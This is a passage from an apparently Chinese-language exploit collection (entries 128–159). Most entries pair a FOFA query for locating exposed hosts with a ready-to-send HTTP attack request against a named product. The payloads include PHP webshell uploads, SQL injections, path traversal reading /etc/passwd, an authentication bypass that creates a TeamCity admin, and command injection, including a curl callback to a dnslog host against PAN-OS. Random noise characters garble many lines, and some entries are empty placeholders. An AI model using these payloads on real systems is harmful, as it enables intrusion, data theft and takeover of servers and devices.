- n1 p) ^8 v3 T8 e% Q( n  l------WebKitFormBoundaryJGgV5l5ta05yAIe0--

; i$ _! Q2 H9 a, }! C3 r& z4 z
* N0 W3 n$ O1 ^4 }  Q
  {$ K' Q0 Y, `9 ~) D128. Adobe ColdFusion 反序列化
& S0 {3 t( ]% w. ~$ nCVE-2023-38203
% U1 [: i& o" [2 A2 G8 U/ dAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD

129. Adobe ColdFusion 任意文件读取
7 w) L* B8 x  i$ BCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
. T' Z8 z: X2 b第一步，获取uuid
* C- P  S9 C. d' MGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
1 b8 p* u- U; o" AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
0 G% A0 W' q" P* t  KAccept-Encoding: gzip, deflate
Connection: close

7 R" O8 J' A1 s7 C! O- c- [
8 x  w2 B5 {+ i, m. F8 _2 g* r第二步，读取/etc/passwd文件
: r3 ?$ {# C2 K- Z+ [+ E" _* GGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
( o/ X( m1 W& l+ xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
0 f- a4 K6 F$ A: t; H3 x4 [: uAccept: */*
# a  u( z2 }8 Q" k9 F0 l+ _( eAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
* T; \5 }5 R3 i1 Z5 q
9 n2 t/ U/ b3 U2 R
130. Laykefu客服系统任意文件上传
8 j& S1 ~5 G  mFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
$ M& ]' R. i8 D& i. Y4 F# SX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
  F- P5 u5 F3 z! f% mConnection: close

7 z) ^/ i8 q$ M3 }, Y2 E, ~5 j------WebKitFormBoundary3OCVBiwBVsNuB2kR
/ y  Q  Z. {$ b$ h1 H; L) PContent-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
6 g' o/ W7 ]; b! ]" V7 |( X------WebKitFormBoundary3OCVBiwBVsNuB2kR--
1 Z7 K, ?- k* g7 G2 J
  U: M+ A: ~5 A+ w" ~
4 [, a" t9 M: T5 I% x$ b/ p/ j! x131. Mini-Tmall <=20231017 SQL注入
- Q4 |5 K# f; a: ?FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
, _/ ]( S1 }! Z# N" M; c
/ b4 T, u$ C- L& x. D8 y$ r* ?132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
7 [! ]# _2 ~" O& EPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
1 u; N  m1 B" g) J- N, ^Host: 192.168.40.130:8111
7 T8 U& O3 l7 i% m9 V8 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
# B& r- P: p! K1 dAccept-Encoding: gzip, deflate
! {* D* L6 f# {5 q) J. Z
6 W8 V, b& i* W) \) ~{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
, j- i. Y# }) ~. Z

CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
* O: s7 d. j( R! h3 d* ]% E/update/../admin/diagnostic.jsp


2 I2 W& F: V- g- _( r+ JCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
9 e2 A# m# q2 |6 D0 E+ PFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
- W8 p6 M3 }, V& n! r3 m" D0 aHost: your-ip
$ ^% C2 }2 m& Q7 U: dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
8 o+ ?) ]9 E6 _; g  Z
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
% x' f" ]- m, k! S1 i/ _8 V

, |4 U9 _* [. N8 r
134. 网康NS-ASG应用安全网关index.php sql注入
0 R$ L% v& }/ g9 |0 |; mCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
2 Y8 G; }5 M6 q9 o+ Y" ^9 APOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
6 z; A# n8 m1 m8 m7 I: M5 l2 jCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
5 _& F  l7 {. p. H5 J+ H. q0 k+ F$ gAccept: */*
0 v; j7 d7 u* CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 l5 b. J- x$ W0 v. m8 s/ u( Q$ TAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
* [! f2 P! e# Z. ~* WSec-Fetch-Mode: cors
+ {$ Y" h( R, S" R% QSec-Fetch-Site: same-origin
Te: trailers
Connection: close
: ?& [6 D5 X8 n9 P6 }, Z$ H0 |Content-Type: application/x-www-form-urlencoded
Content-Length: 263
3 ]2 f1 a% O5 m( s7 J
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


: j" ~7 B7 J+ d- w135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
! `" a( N$ E3 o6 rCVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
0 H6 Z0 ?# E+ k. f6 MGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
# M$ P) R# D' V9 \# @Host: x.x.x.x
# h) |. v/ k- d( e/ Q  A( R  ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) L. q7 r+ ?# GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: @5 _: s1 e1 J& @6 o, w$ D! vConnection: close
/ E2 \4 d& [4 `7 v' S

0 u' w+ u! i! ~' l) r' C136. NextChat cors SSRF
6 y' j" D/ B8 ?  ]CVE-2023-49785
4 P6 Z8 u/ M" k0 g  A" m, ~  R* ^+ e& yFOFA：title="NextChat"
2 d; F  Z: A' Q- s: Z& kGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
8 g" o( _, V2 @Host: x.x.x.x:10000
% T# z2 d0 o. a8 N2 J6 Z: UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 t. p: d$ O3 `7 ?' U4 EConnection: close
Accept: */*
. K; x4 ]" ~% R# L  ]1 p& X: O$ [& {Accept-Language: en
Accept-Encoding: gzip

. A4 |% [! y! a9 }
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
$ i8 h3 [. @, LHost: x.x.x.x
8 J9 Q+ I, y% B2 MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; g+ z( K, w3 U, M; t1 E; GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# ~/ l. `* B) r; @, N- Y8 dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
* |" b4 E% h; K# oCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1


138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
( s' Z' F/ ^2 x8 ?, F7 cFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# p4 f  L( l2 p' S" h0 NGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
+ _2 u  v$ a& E/ v2 X5 l( K; GUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; v' t8 O3 d, g6 [3 Y1 `7 pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
4 q( E7 w& F+ c" H. {! F7 bConnection: close
( r6 o* p6 c  r- k6 h  b3 BUpgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
" d  s9 X/ ]2 y- `- VFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 K! ~& y2 R4 FAccept-Encoding: gzip, deflate, br
( Z2 t! Z: D( F# W* m3 g- [Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
! f! w4 \: W; e. }
: B( s, i. h8 x$ F
+ |0 ~+ _; F% _8 ~140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
5 ?# G6 N" p* P) W; B0 rFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
1 D& P9 @. K7 |, YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
6 t7 F; z  q- u% j8 VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 _, ^0 h: R- ?7 U# @Connection: close
4 V6 Z( u8 `& D+ dCookie: authcode=h8g9
, x3 v2 q. a) I5 eUpgrade-Insecure-Requests: 1
" b% m- i% v* k" b
, q" `3 I1 f) ~7 U9 J
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
4 Q' |* w9 m7 Q( v1 N; |* D% R/ NFOFA：body="指挥调度管理平台"
+ v9 o& ?3 W, a/ I& g, t  SPOST /app/ext/ajax_users.php HTTP/1.1
& Y: g: g4 \* G4 v2 J. AHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
5 i6 _2 Z& h# f  t8 WContent-Type: application/x-www-form-urlencoded

. n5 D2 P. Q  i2 g# o
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
$ p) J- K2 U/ `4 [- [0 c. K- }% N
, K. i" @& ^1 \3 y9 Q
142. CMSV6车辆监控平台系统中存在弱密码
" z0 h7 y" y7 G' A7 S: xCVE-2024-29666
$ `! r- N# y- R  S6 t! G5 M* hFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
0 }" r' N  x; U5 D. [$ H  ZCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
& `( m) C+ Y  e2 h) }! T/ v3 a
1 }2 b2 [) R( e144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
, P8 H2 i( e1 E3 u' G' l# ]( WHost: x.x.x.x
, E6 n, t5 h& f; LUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
9 @' b, p6 @* c5 l! W! u7 RConnection: close
4 h/ z- ?, B& @- W$ bAccept: */*
Accept-Language: en
Accept-Encoding: gzip
- u0 b5 f, n1 r# j4 a: E3 n6 n
6 p' \) H* g, j" b8 ^
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
( d) h0 B$ e1 Q* b* p0 F6 {CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
8 W$ S7 ^$ d+ YHost: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
9 S2 t  x; V( B1 X4 A- c) MConnection: close
1 F. p8 J, H, {0 N6 rCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
  M: V' x+ K4 J+ cAccept-Encoding: gzip

6 P& }) A3 l2 Z+ f
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
# o* \& Z' E8 b# \# l" `' A0 jHost: x.x.x.x
6 d( F" P- c; O8 A' bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
1 o6 G; e; @* u/ I+ \6 EAccept-Encoding: gzip, deflate
Connection: close


' V* \; T; Y8 M147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
% O* G4 ^# Q2 G* OCVE-2024-32399
3 }' y, H, u9 t/ S* PFOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
Cache-Control: max-age=0
: {. d" A5 }% [Connection: close
$ z  L0 m6 [6 q9 h; k3 L3 S
+ e3 m9 m% Q! l- }) B/ `& n2 p
4 W( G* ?; A: Q+ i% t# H# T148. CrushFTP 认证绕过模板注入
: t/ H+ ~, w8 A" ^0 P+ C  \* `7 Q. j5 VCVE-2024-4040
9 R4 s0 n5 S  e4 \5 T3 LFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

  y5 `$ G; m8 M8 g9 Y. OPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& O: V- j& X: l, l; b  _( fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
  r" J7 M/ A4 u5 k! BContent-Type: application/json;charset=UTF-8
- `0 T  ^$ [" P& P1 c! c; CConnection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
% O9 K6 ]: Y& G4 i7 {0 @POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
0 F9 D: `( v+ z* D( a2 c' j! ~  sHost: x.x.x.x
( u* m' H; d% X" {! L1 ~" CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 B) T% t  c9 v- P. [0 {Accept-Encoding: gzip, deflate, br
" n0 U& w! {2 d6 H4 J; Q4 K& cAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
3 ~+ O5 ]) Q+ x8 B* s$ [  b( g- AContent-Length: 339
3 ~1 p$ }2 D2 i9 {- J) L
9 W4 d  k, Y% @: n* f{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 P. H  }- f& k: ^) |" @4 v

151. AJ-Report 1.4.1 pageList sql注入
& Q' G1 ?# d8 T2 [, Z; a/ EFOFA：title="AJ-Report"
# v8 {6 _- z+ tGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
7 q% N/ ^" s. F* `( O3 MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
) u1 S8 P0 b( XAccept-Encoding: gzip

' N; ~$ O& O2 A4 j8 C
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
9 u) E5 L" e( D0 q* \* pLoadMaster <= 7.2.59.2 (GA)
7 W& ?" v9 Q4 pLoadMaster<=7.2.54.8 (LTSF)
4 \7 F+ k$ C1 {# T' ?2 nLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
9 k, [' p$ e  N5 Z, R; EGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
4 y: z  _  \8 J; Q( t7 o: GAccept-Encoding: gzip

2 |, L! R+ i& {$ m( M
153. gradio任意文件读取
5 ~$ h3 E6 ~& I) R+ ?CVE-2024-1561FOFA：body="__gradio_mode__"
( l1 x) j& {% s第一步，请求/config文件获取componets的id
) d, ~1 f- M/ V$ F; Qhttp://x.x.x.x/config


/ W6 i; y9 I# [/ U- E& o第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
& Y3 X$ Z! |" l' C' qContent-Length: 115
Content-Type: application/json
1 C1 C: U9 f+ w0 u% tAccept-Encoding: gzip

9 K# B. q1 d/ l{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
8 X# `( e  E5 }" B7 N

7 }! \" ^9 B5 G第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


, \# U. A3 @7 M) }$ l  N154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
: U! ~! r# e2 d1 LOrigin: http://x.x.x.x
Content-Type: application/json
7 `8 v" p9 f; d! H9 f. G. n- Y# kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
4 W2 V4 i6 x+ {8 `/ U; uAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
7 O  h8 U" d+ D6 ~' xConnection: close

- h- z% p- d. E  V{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
6 `8 J0 y" W8 l1 O

5 v- H# L5 {. S. V0 h+ G155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
0 J2 W- u& F5 b: B4 zFOFA：title=="上网导航 - LyLme Spage"
" [4 C' T% D# @: H* `POST /include/file.php HTTP/1.1
Host: x.x.x.x
( U" S- O! _$ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
; y' {( C1 Z# c3 I: K' eConnection: close
! ^+ ?+ L( `" S  P& x' u* EContent-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
- G. f, `/ Q+ u% x& x4 e( K4 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ K. H  L- M: d% u8 DContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
# _) U' U! y- J8 l, I
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
! L0 v. g% Q, b  m! [" F2 a' v& A9 XContent-Type: image/png

) @! Q3 |8 V% t0 V) w; A# [<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
& ?  ~. q8 b3 L

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
3 p0 B3 K2 h3 S5 h+ R% c! jFOFA："Location: /login.rsp"
·TBK DVR-4104
: D3 |: j' K" z" I7 b2 K8 K·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
( `  L& {! t1 `
9 T$ Y& G+ p& `/ p* V
7 d! f8 E# j# s$ h, xPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
) O3 H" P# T7 H+ k9 Q" u7 Z' IUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
$ H' d( w  `3 \) k, S+ x* [! _/ kConnection: close
: _/ v$ j$ i) Y8 YContent-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
" \7 K( i7 f9 M% S6 a: w4 W
# P- t% c6 [9 B& i
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
, K3 N; b8 ]7 z7 V& E# Q" O1 Q" nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
* v% U6 h3 `5 w1 |3 XContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- F+ Y$ s8 E, q/ `/ m. u  z4 TAccept-Encoding: gzip, deflate
1 g& |0 H5 O' T# EAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
! [6 ]7 k* s0 u8 AConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
* E5 R$ G/ g& u3 t# Z7 q9 ?Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
0 q4 o- C5 ^, E5 vContent-Type: application/octet-stream
$ N$ T$ c- f( a, g
nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
' ^( y9 @: w3 h8 }------WebKitFormBoundary1imovELzPsfzp5dN
) W" @" p( `2 [4 @Content-Disposition: form-data; name="form"
4 D" b7 [0 ~- ~  S, S# e
null
; V8 T' s5 Y1 B9 `6 @- i------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
! G. i$ w# B1 c$ g2 a4 m& @Content-Disposition: form-data; name="filetitile"
& A/ _; {5 p. D3 c+ o& b
! c  U( Q+ H: ^; W$ gnull
------WebKitFormBoundary1imovELzPsfzp5dN
8 b9 M5 T) r- y6 E& q1 dContent-Disposition: form-data; name="filefolder"
5 `% ^% M9 K: X7 ^% x
null
------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

4 P% f7 y7 Z; S! C: O7 @3 D; X. {158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
9 y3 d2 l- \% g/ aFOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
* j3 F  [2 R. m, p* [1 aHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
; n7 I% Y7 x" C' Z  w& ]) Q5 J
object=displayregion&contenthistid=x\'&previewid=1

7 D  |. f( b9 `; p2 c1 a9 K
$ b& D" C- v3 e1 O. u' X159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
, N* Z! I& @5 l+ H0 ~, \FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
; q! ?1 R0 q* v8 e7 X  EPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
Accept-Encoding: gzip, deflate
# z* f* R6 ]1 R; k: e/ F8 eConnection: close
2 d4 [4 \- {5 k/ X% N  YContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"

<?xml version="1.0" encoding="utf-8"?>
